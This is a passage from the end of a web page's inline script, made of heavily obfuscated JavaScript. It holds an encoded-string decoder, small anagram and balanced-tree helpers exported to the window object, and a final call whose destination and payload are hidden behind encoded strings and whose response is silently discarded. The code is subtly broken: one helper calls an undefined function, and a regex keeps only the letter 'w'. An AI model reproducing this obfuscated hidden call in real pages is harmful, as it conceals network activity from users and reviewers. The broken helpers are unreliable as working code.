_PoKZj="e9dkCH|]UEmqL6x+=g_,nNPQbIKG<iB/pD@0VWoMh^>cS)Tr&[A4ZROYFsw3J7f\"Xj:.#l5ayv(!}$`u{%1;*2?~8zt",MSUxhJ2,j2tRUWQ,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<j2tRUWQ;eS9fQMb++){var Umd97Q=_PoKZj.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function _PoKZj(_PoKZj){if(typeof rxdmS4[_PoKZj]===FZHYVb[0x5]){return rxdmS4[_PoKZj]=g3Gld7J(FlCAu25[_PoKZj])}return rxdmS4[_PoKZj]}if(_PoKZj(0x99)in xEv0OAf){MSUxhJ2()}function MSUxhJ2(){function g3Gld7J(g3Gld7J){var _PoKZj="`AKIOT7pBc0Jl#_d3s~,%4i5Hb1uQZSw)M8]@za2FV?$vLgWXmof<h+}jUCr:[&PyG!.t9{6*/D>Nex^(=Ekn\"|;RqY",MSUxhJ2,j2tRUWQ,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<j2tRUWQ;eS9fQMb++){var Umd97Q=_PoKZj.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function _PoKZj(_PoKZj){if(typeof rxdmS4[_PoKZj]===FZHYVb[0x5]){return rxdmS4[_PoKZj]=g3Gld7J(FlCAu25[_PoKZj])}return rxdmS4[_PoKZj]}function MSUxhJ2(g3Gld7J){const _PoKZj={};for(let MSUxhJ2 of g3Gld7J.replace(/[^w]/g,"").toLowerCase())_PoKZj[MSUxhJ2]=_PoKZj[MSUxhJ2]+FZHYVb[0x1]||FZHYVb[0x1];return _PoKZj}function j2tRUWQ(g3Gld7J,_PoKZj){const MSUxhJ2=buildCharMap(g3Gld7J),j2tRUWQ=buildCharMap(_PoKZj);for(let Q4sOnFn in MSUxhJ2)if(MSUxhJ2[Q4sOnFn]!==j2tRUWQ[Q4sOnFn]){return FZHYVb[0x26]}if(Object.keys(MSUxhJ2).length!==Object.keys(j2tRUWQ).length){return FZHYVb[0x26]}return!0x0}function Q4sOnFn(g3Gld7J){const _PoKZj=nco7OV(g3Gld7J);return _PoKZj!==0x1/0x0}function nco7OV(g3Gld7J){if(!g3Gld7J){return-FZHYVb[0x1]}const _PoKZj=nco7OV(g3Gld7J.left),MSUxhJ2=nco7OV(g3Gld7J.right),j2tRUWQ=Math.abs(_PoKZj-MSUxhJ2);if(_PoKZj===0x1/0x0||MSUxhJ2===0x1/0x0||j2tRUWQ>FZHYVb[0x1]){return 0x1/0x0}const Q4sOnFn=Math.max(_PoKZj,MSUxhJ2)+FZHYVb[0x1];return Q4sOnFn}window[_PoKZj(0x9a)]={buildCharacterMap:MSUxhJ2,isAnagrams:j2tRUWQ,isBalanced:Q4sOnFn,getHeightBalanced:nco7OV}}return io4LB2P(_PoKZj(0x9b),{[_PoKZj(0x9c)]:FUaXU5,[_PoKZj(0x9d)]:Umd97Q})[_PoKZj(0x9e)](()=>{})}})}g3Gld7J()})();
</script>

</body>
</html>
